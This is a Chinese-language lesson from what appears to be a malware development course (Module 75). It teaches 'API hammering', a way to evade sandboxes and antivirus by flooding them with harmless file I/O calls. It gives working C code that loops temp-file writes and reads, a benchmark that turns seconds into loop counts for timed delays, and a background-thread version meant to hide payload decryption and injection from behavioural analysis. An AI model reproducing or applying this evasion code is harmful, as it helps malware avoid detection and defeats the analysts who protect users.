模块 75 - 反虚拟环境技术 - API 漫游 (API Hammering)
恶意软件开发课程 - 反虚拟环境技术 - API 漫游 (API Hammering)
模块 75 - 反虚拟环境技术 - API 漫游 (API Hammering)#
反虚拟环境技术 - API 漫游 (API Hammering)#
简介#
API 漫游 (API Hammering) 是一种绕过沙箱的进阶技术。它通过在短时间内快速、连续地调用大量随机 WinAPI,以达到延迟程序执行的目的。
💡 初学者提示:什么是 API 漫游?
类比理解: 想象你正在写一封绝密信件(恶意 Payload),但你发现房间里可能有窃听器(沙箱/杀软)。
- 常规延迟:你只是静静地坐着不动(调用
Sleep)。窃听者可能会觉得奇怪,甚至会手动“拨快”钟表让你立刻开始写信。- API 漫游:你一边写信,一边大声读报纸、唱歌、敲桌子、甚至自言自语讨论天气(调用大量无害的 I/O API)。
- 效果:窃听者(沙箱)会被这些海量的杂音淹没。由于沙箱记录行为的日志空间有限,且分析这些“噪音”会消耗大量资源,最终沙箱可能会因为“这听起来就是个普通人在折腾”而放弃深度分析。
此外,该技术还常用于 调用栈混淆 (Call Stack Obfuscation):在实现过程中,恶意的函数调用会被大量随机生成的、良性的 WinAPI 调用所掩盖。分析人员在检查运行线程的调用栈时,会看到满屏的“合法”系统操作,从而增加分析难度。
💡 初学者提示:什么是调用栈(Call Stack)?
类比理解: 把它想象成你的面包屑足迹。
- 如果你直接从“入口”走到“金库”,足迹非常明显。
- 混淆后:你在进金库前,先去公园跑了 100 圈,去超市买了 50 种零食,去花园修剪了 200 颗树。你的“足迹”会变得极其漫长且混乱。当分析人员尝试回溯你的路径时,会因为足迹太乱而迷失方向。
本模块将展示两种 API Hammering 的应用方式:
- 背景噪声:在一个后台线程中运行,通过不断的良性调用制造噪声,掩护主线程的恶意逻辑。
- 耗时延迟:利用高 CPU/IO 占用的操作(如文件读写)来消磨沙箱的分析时长。
1. 核心 I/O 函数#
API Hammering 可以使用任何 WinAPI,但本模块将重点使用以下三个与 I/O 相关的接口:
- CreateFileW ↗ - 用于创建和打开文件。
- WriteFile ↗ - 用于向文件写入数据。
- ReadFile ↗ - 用于从文件读取数据。
选择这些 API 的原因是:当处理大量数据时,它们会消耗可观的处理器时间和系统资源,非常适合用来制造“延迟效应”。
2. API Hammering 工作流程#
我们将执行以下看似“无意义”但极其繁重的任务:
- 创建文件:在 Windows 临时文件夹中创建一个
.tmp文件。 - 填充写入:生成一个大尺寸(如 1MB)的随机数据缓冲区,并将其写入临时文件。随后立即关闭并重新打开文件句柄。
- 读取验证:使用
FILE_FLAG_DELETE_ON_CLOSE标志重新打开文件,读取之前写入的数据到本地缓冲区。 - 清理现场:清空并释放缓冲区内存,关闭句柄(此时文件会因为之前的标志位被物理删除)。
为了最大化时间开销,我们将上述步骤放入一个可控的循环中。
3. API Hammering 核心实现#
ApiHammering 函数需要一个 dwStress 参数,代表重复上述循环的次数。
// 临时文件名称
#define TMPFILE L"MaldevAcad.tmp"
BOOL ApiHammering(DWORD dwStress) {
WCHAR szPath[MAX_PATH * 2], szTmpPath[MAX_PATH];
HANDLE hRFile = INVALID_HANDLE_VALUE, hWFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesRead = NULL, dwNumberOfBytesWritten = NULL;
PBYTE pRandBuffer = NULL;
SIZE_T sBufferSize = 0xFFFFF; // 约为 1MB (1,048,575 字节)
INT Random = 0;
// 1. 获取 Temp 目录路径 (通常为 C:\Users\<user>\AppData\Local\Temp)
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
printf("[!] GetTempPathW 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
// 2. 构造完整文件路径
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
for (SIZE_T i = 0; i < dwStress; i++){
// A: 以写入模式创建临时文件
hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
if (hWFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
// B: 分配内存并填充随机字节
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
srand(time(NULL));
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
// C: 将 1MB 随机数据写入磁盘,消耗 I/O 时间
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
return FALSE;
}
// D: 关闭句柄以刷新状态
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);
// E: 以“读取且关闭即删除”模式重新打开
hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (hRFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
// F: 从磁盘读回数据
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
return FALSE;
}
// G: 清理内存
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), NULL, pRandBuffer);
// H: 关闭句柄,系统自动删除该临时文件
CloseHandle(hRFile);
}
return TRUE;
}c4. 利用 API Hammering 精准延迟执行#
要实现精准的时间延迟,我们首先需要测试在当前机器上运行一定次数的循环需要多久。
int main() {
DWORD T0 = (DWORD)GetTickCount64();
// 测试运行 1000 次循环耗时
if (!ApiHammering(1000)) return -1;
DWORD T1 = (DWORD)GetTickCount64();
printf(">>> ApiHammering(1000 次) 在本系统耗时 : %d 毫秒\n", (T1 - T0));
return 0;
}c在上图演示中,1000 次循环大约耗时 5.1 秒。根据硬件性能的不同,这个值会有所波动。
毫秒与循环周期的转换#
通过测试得出的比例,我们可以定义一个宏。既然 1000 次循环约 5.157 秒,那么 1 秒大约需要 1000 / 5.157 ≈ 194 次循环。
// 将秒数转换为所需的循环压力次数
#define SECTOSTRESS(i)( (int)i * 194 )c使用示例:
// 强制程序执行约 5 秒钟的繁重任务后才继续逻辑
ApiHammering(SECTOSTRESS(5));c5. 后台线程模式:全时噪声#
为了掩盖恶意逻辑(如内存注入、解密),我们可以让 API Hammering 在后台线程中无限循环运行。由于它不断产生大量的文件操作和调用栈跳跃,安全软件的行为分析报告会变得非常臃肿且难以审计。
int main() {
DWORD dwThreadId = NULL;
// 创建后台线程无限循环运行 API Hammering (Stress 设置为 -1)
if (!CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ApiHammering, (LPVOID)-1, NULL, &dwThreadId)) {
return -1;
}
printf("[+] 已创建后台线程 %d 进行全时 API Hammering 干扰...\n", dwThreadId);
/*
这里放置真正的 Payload 解密和注入代码。
杀软会由于后台密集的文件操作而忽略掉这里的小型内存操作特征。
*/
return 0;
}c🎯 总结#
在本模块中,我们学习了:
- 资源对抗策略:利用文件系统 I/O 和内存分配来合法、透明地消耗 CPU 时间。
- 调用栈干扰:通过海量的良性 API 调用隐藏恶意代码特征。
- 动态压力控制:学会了如何通过基准测试实现秒级精准的时间规避。
📚 下一步学习
下一个模块将探讨 Module 76 - Binary Entropy Reduction。我们将学习如何打磨程序的“外表”,降低由于加密或压缩产生的高熵值,绕过 AI 静态检测。